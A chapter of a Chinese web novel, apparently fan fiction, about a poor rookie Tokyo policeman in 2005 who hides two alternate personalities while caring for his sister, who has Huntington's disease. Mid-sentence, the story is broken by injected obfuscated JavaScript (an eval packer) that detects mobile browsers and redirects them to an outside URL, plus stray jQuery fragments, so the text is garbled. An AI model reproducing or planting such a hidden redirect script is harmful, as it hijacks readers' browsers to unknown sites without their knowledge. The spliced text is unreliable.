2005年秋，东京练马区的老旧公寓楼浸在傍晚的暮色里，外墙斑驳得像褪了色的和服。


    空调外机嗡嗡作响，混着楼下便利店循环播放的“限时折扣”广播，织成市井最寻常的背景音。


    伊藤杰站在302室门口，指尖捏着家门钥匙轻轻转动。


    昨天刚和妹妹一起搬进来，行李还没完全归置好，钥匙上还沾着些许搬家时蹭到的灰尘。


    这是他的家，一间不足十五平米的一居室，月租七万三千日元，几乎占了他作为新人警员月薪的三分之一。


    兜里仅剩的八万日元现金，除了押金和第一个月房租，只够买两箱泡面和几包速食咖喱，日子过得捉襟见肘。


    他不能失去这份工作，光是通过警察录用的精神健康审查，就已经耗尽了他所有的运气，他绝不能让人知道自己“人格分裂”的秘密。


    推开门，屋里飘着昨日喷洒完还没散掉的淡淡消毒水味，混着妹妹带来的廉价洗衣粉香气，墙角仅余一丝若有若无的霉味，早被冲淡得几乎察觉不到。


    房间里空荡荡的，只有一张掉漆的单人床、一个摇摇欲坠的衣柜，以及窗边积满灰尘的矮桌。


    地板是老式的木质结构，踩上去发出“吱呀”的呻吟，像是不堪重负的叹息。


    厨房狭小得只能容下一个人转身，燃气灶的旋钮已经生锈，打开时需要反复拧好几圈才能点燃。


    杰走进卫生间，对着蒙着一层水雾的镜子，里面映出的是一张十分陌生的脸。


    眉眼普通，鼻梁稍矮，下颌线柔和，是那种丢在人群里绝不会被注意到的样貌。


    他抬手摸了摸脸颊，指尖传来的触感真实又疏离，心里隐隐泛起一丝莫名的茫然。


    这就是他，伊藤杰，一个为了生计奔波的普通人。可不知为何，看着这张脸，总觉得哪里不太对劲，却又说不上来。


    就在他抬手捋了捋额发时，右手突然不受控制地轻微抽搐了一下，动作快得像被蚊虫叮咬，他下意识攥紧拳头，只当是搬东西累到了，没太在意。


    就在这时，意识深处传来一声轻嗤，带着浓浓的厌世与嘲讽：“真是糟糕透顶的体验，这种孱弱又平庸的身体，连最低级的麻烦都解决不了。”


    杰闭了闭眼，早已习惯了这道声音的主人。


    这是他的另一个人格，一个名叫“夏油”的男性人格，总是带着毁灭倾向，言语间满是对人类的不屑，张口闭口都是“猴子”，听起来十分中二。


    他没有回应，只是默默转身走出卫生间，心里清楚，只要不被两个副人格主导身体，就不会暴露。


    这份病他隐瞒了很久，好像从孤儿院时期就存在了，只是那时症状不明显，如今随着工作压力增大，他愈发谨慎。


    他走到墙角，将唯一的行李箱打开，里面只有几件廉价的衬衫、西裤和一套洗得发白的运动服，都是他自己的东西。


    他弯腰拿衣服时，左腿突然微微发麻，膝盖不受控制地轻颤了一下，他连忙扶住衣柜边缘稳住身形，眉头微蹙。


    “只是没休息好而已。”他在心里给自己找着借口，把衣服一件件挂进衣柜，动作僵硬而谨慎，生怕自己突然失控，露出破绽。


    “别这么紧张呀，我们不会操控你身体的。”一个温柔的女性声音在脑海中响起，像春日的风拂过湖面，“这里很安全，小葵也快回来了，你应该开心一点。”


    这是“小花”，他的另一个女性人格，总是温柔又善良，和夏油形成了极致的反差。


    杰松了口气，有小花在，夏油的戾气似乎也不算什么了。


    他知道这两个人格都无法主导身体，这是他唯一的庆幸，也是他能隐瞒至今的底气。


    就在这时，门外传来一串轻快的脚步声，伴随着钥匙插入锁孔转动的声音。


    门被推开，一个穿着国中制服的女孩走了进来，梳着简单的马尾，脸颊带着健康的红晕，只是走路时左肩会不自觉地抽搐，手臂也偶尔不受控制地摆动，似乎比记忆中频率更高了些。


    “哥，我回来啦！”女孩扬起笑脸，把书包往矮桌上一放，动作间带着少年人的活泼，只是放书包时手腕猛地抽搐了一下，书包带滑落在地。


    她慌忙弯腰去捡，嘴角却依旧挂着笑：“哥，你明天就要去警署报道了，紧张吗？”


    她是伊藤杰的妹妹，伊藤葵，今年十四岁，在附近的国中读二年级。


    他们从小在孤儿院长大，几年前被远房亲戚短暂收养，亲戚去世后，便靠着孤儿院的补贴和伊藤杰打零工的收入勉强糊口。


    看着妹妹熟悉的笑脸，杰心里涌起一股踏实的暖意，那份莫名的茫然也淡了些。


    他弯腰帮妹妹捡起书包，指尖刚碰到布料，自己的手腕也跟着轻微抽搐了一下，他迅速收回手，藏在身后，假装整理自己的袖口。


    “还好，不紧张。”他尽量让自己的声音听起来自然，目光落在妹妹不停轻颤的肩膀上，眼底掠过一丝心疼，“你的病……最近有没有更严重？”


    “没有呀，还是老样子啦！”伊藤葵摆摆手，语气轻快得像在说别人的事，“今天数学测验我考了八十多分哦，老师还表扬我进步了呢！不过班里有几个讨厌的男生，总嘲笑我走路怪怪的，说我是‘抽筋怪’，我才懒得理他们呢。”


    她说着，头部突然不受控制地向左侧偏了一下，又迅速摆正，脸颊泛起红晕，却依旧笑得灿烂，仿佛那些嘲笑根本不值一提。


    杰知道，妹妹患的是罕见的亨廷顿舞蹈症，会不受控制地肢体抽搐、扭动。


    随着年龄增长，症状还会逐渐加重，甚至影响吞咽和认知，而治疗费用对于他们这样的家庭来说，无疑是天文数字。


    他必须保住警察的工作，这是他能想到的、唯一能赚够治疗费的途径。


    “他们再嘲笑你，就告诉哥。”杰的声音不自觉地放柔，指尖微微收紧，说话时下颌轻轻抽搐了一下，他连忙低下头，假装整理衣角，“哥现在是警察了，可以保护你。”


    “哇，哥好厉害！”伊藤葵眼睛亮晶晶的，像是看到了英雄，“不过不用啦，我自己能搞定。而且院长妈妈说，爱笑的人运气不会太差嘛。”


    她转身走进狭小的厨房，打开几乎空空如也的冰箱，里面只有几瓶矿泉水和一小块黄油。


    拿黄油时，她的手指突然剧烈抽搐，黄油块掉在地上，她蹲下身去捡，身体却控制不住地轻轻扭动，费了好一会儿才捡起来。


    “哥，我们晚上吃什么呀？我这里还有最后一包速食咖喱，要不煮咖喱饭吧？”


    杰跟着走进厨房，看着妹妹艰难却依旧乐观的模样，心里涌起一股酸涩。


    他想起自己为了通过审查，一遍遍在心里演练正常的反应，想起每次人格快要冒头时的恐慌，而现在，这个乐观的妹妹，是他坚持下去的全部理由。


    “我去楼下便利店买点东西。”杰按住妹妹的手，从口袋里掏出仅有的几张纸币，“你在家写作业，等我回来。”


    “不用啦哥，省点钱吧！”伊藤葵拉住他，手腕的抽搐让她抓得不太稳，“速食咖喱也很好吃的，而且我明天还要带便当去学校呢。”


    “听话。”杰揉了揉她的头发，指尖划过她抽搐的肩膀，转身走出了公寓。


    楼下的便利店灯火通明，货架上摆满了各种食物，他却只能挑选最廉价的鸡蛋、青菜和打折的猪肉。


    结账时，收银员报出的金额让他下意识地皱了皱眉。


    这点东西就花掉了近两千日元，而距离下次发薪还有半个月。


    他攥紧了口袋里剩下的钱，心里只有一个念头：绝对不能失去工作。


    回到公寓时，伊藤葵已经把米饭煮好了，正坐在矮桌前写作业。


    写着写着，头部突然不受控制地晃动了几下，笔尖在作业本上划出一道长长的痕迹。她吐了吐舌头，拿出橡皮小心翼翼地擦掉，眼神专注又认真。


    灯光下，她的侧脸显得格外安静。


    杰走进厨房，熟练地系上围裙开始备菜做饭。


    伊藤葵见了，立刻放下笔，一脸惊讶地走到厨房门口：“哥，你怎么又下厨啦？”


    杰一边切菜一边回头笑问：“怎么？不想吃我做的饭吗？”


    话音刚落左手突然抽搐，指尖不慎被刀刃划开一道小口，鲜血瞬间渗了出来。


    葵慌忙上前按住他的手制止，语气带着几分嗔怪与心疼：“哥哥自己都不愿意吃吧？”


    她熟练地从杰手中接过菜刀，笑着补充：“你忘了？你家政课可是拿过好多次零分呢，做饭这事还是我来，你坐着等吃就好啦。”


    杰看着妹妹利落处理食材、翻炒下锅的熟练模样，靠在门框上，心里五味杂陈。


    他明明记得，自己以前家政课都是满分的啊。


    划到手只是意外，却让他有点在意，今天的肢体抽搐比往常频繁多了，和妹妹的症状竟然有几分相似。


    意识深处，夏油的声音又响了起来：“脆弱的猴子，最终一定会走向毁灭和疯狂。”


    “夏油，不要那么早下定论。”小花温柔地反驳，“小葵比你想象的更坚强，杰也在努力，一切都会好起来的。”


    杰没有理会脑海中的争执，只是默默地看着妹妹。


    他知道，自己必须稳住，不能被这两个人格影响，也不能


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115674|193516||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被这突如其来的身体异常打乱节奏。


    生活就算再贫苦，他也绝不会放弃。


    晚餐很简单，一盘炒青菜、一盘焦黑的炒肉，还有一碗咖喱饭。


    伊藤葵却吃得津津有味，一边吃一边絮絮叨叨地说着学校里的趣事，比如班里同学的恋爱八卦，比如校运会的接力赛他们班得了第一名。


    说话时，她的脸颊会偶尔抽搐，嘴角的饭粒跟着抖动，她毫不在意地用手背擦掉，依旧笑得开心。


    “哥，你还记得医院里的福田爷爷吗？”吃到一半，伊藤葵忽然开口，头部轻轻晃了一下。


    “我住院时住我隔壁病房的那位老人，他总偷偷给我塞好吃的。我想下次见他，也给他带点东西。”


    杰愣了愣，脑海里立刻浮现出福田先生的模样。


    他的头发花白，总是笑眯眯的，葵住院那阵子，老人格外心疼他俩无父无母，常把家里人送来的点心、水果悄悄塞给兄妹俩。


    “记得。”他应声，下颌忽然轻微抽搐，连忙低头扒饭掩饰，“你病很快就会好起来，就是不知道下次什么时候能见到福田先生了。”


    “好呀。”伊藤葵先点点头，随即眼神暗了暗，身体抽搐也愈发频繁，她攥了攥筷子，轻声道：“哥，我都知道的，你别再瞒着我、一个人扛了。医生说这是遗传病，根治不了的，只能靠手术缓解，不然以后说不定连路都走不了。”


    空气瞬间凝滞。


    杰握着筷子的手猛地收紧，指节泛白，手指不受控制地轻轻抽搐。


    他很快敛去眼底的沉郁，微微一笑安慰妹妹：“没关系，手术费也没贵多少，哥哥会拼命努力赚钱，很快就能挣够，你别操心这个。”


    葵懵懂地弯起嘴角笑了笑，眼里亮起来：“我也会努力的！我自己做的手工小饰品，已经卖掉一些赚到零花钱啦。”


    “所以哥也不要太辛苦啦，就算不做手术，我也能好好生活的。”


    杰心头一暖，忍不住伸手摸了摸妹妹的脑袋，动作温柔。


    心里却沉甸甸的：几百万日元于他分明是天文数字，可哪怕再难，他也必须拼尽全力，凑够手术费让妹妹做手术。


    更让他心头一沉的是“遗传病”这三个字。


    他今天肢体抽搐愈发频繁，难道自己也遗传了这个病？


    这个念头像冰锥般刺来，让他脊背发凉，却不敢深想半分。


    晚餐在沉默与温馨交织的氛围中结束，杰起身收拾碗筷，葵也凑过来帮忙递盘子，谁知手部突然抽搐，没拿稳手里的碗，“哐当”一声摔在地上摔得粉碎。


    她连忙道歉：“对不起哥，我太不小心了。”


    杰连忙让她站到一旁别靠近，自己蹲下身捡拾瓷片，指尖却骤然一阵抽搐，被锋利的碎瓷片划到，伤口比先前的更深，渗出血珠来。


    夜深了，伊藤葵写完作业，洗漱后便躺在了掉漆的小木床上。


    她入睡很快，却因为身体抽搐，睡眠并不安稳，眉头微微皱着，手脚偶尔会轻轻扭动。


    杰坐在床边，看着她渐渐睡去的模样，心里充满了压力。


    他知道，隐瞒人格分裂的秘密很难，警察的工作又充满了不确定性，再加上这越来越频繁的肢体抽搐，未来的路似乎一片灰暗，但他没有退路。


    这时，小花温柔的声音在他脑海中响起：“杰，你在想什么吗？”


    杰点了点头，低声问道：“我……我的身体是不是也出问题了？和小葵一样？”


    “现在还不好说。”小花的声音带着一丝担忧，“可能只是太累了，你别想太多，好好休息，明天还要去警署上班呢。”


    “别自欺欺人了。”夏油的声音打断了他们，带着一丝玩味，“治不好的遗传病，你们俩都是一样的下场。猴子的力量终究是有限的，你们什么都做不了，只会产生负面情绪而已。”


    杰没有反驳，只是轻轻掖了掖妹妹的被角。


    月光透过窗户，洒在伊藤葵的脸上，显得格外柔和。


    他躺在客厅狭小的折叠床上，身体疲惫不堪，心里却思绪万千。


    他想起了孤儿院的日子，想起了妹妹的笑脸，也想起了脑海中两个截然不同的人格，还有自己身上越来越明显的、和妹妹相似的抽搐症状。


    黑暗中，杰攥紧了拳头，指尖的伤口传来阵阵刺痛，身体的轻微抽搐从未停止。


    他不知道未来会怎样，但他知道，他必须坚持下去。为了妹妹，为了这份来之不易的工作，也为了证明自己能像普通人一样好好生活。


    窗外的电车依旧呼啸而过，老旧公寓的墙壁微微震动。


    杰闭上眼睛，渐渐睡去。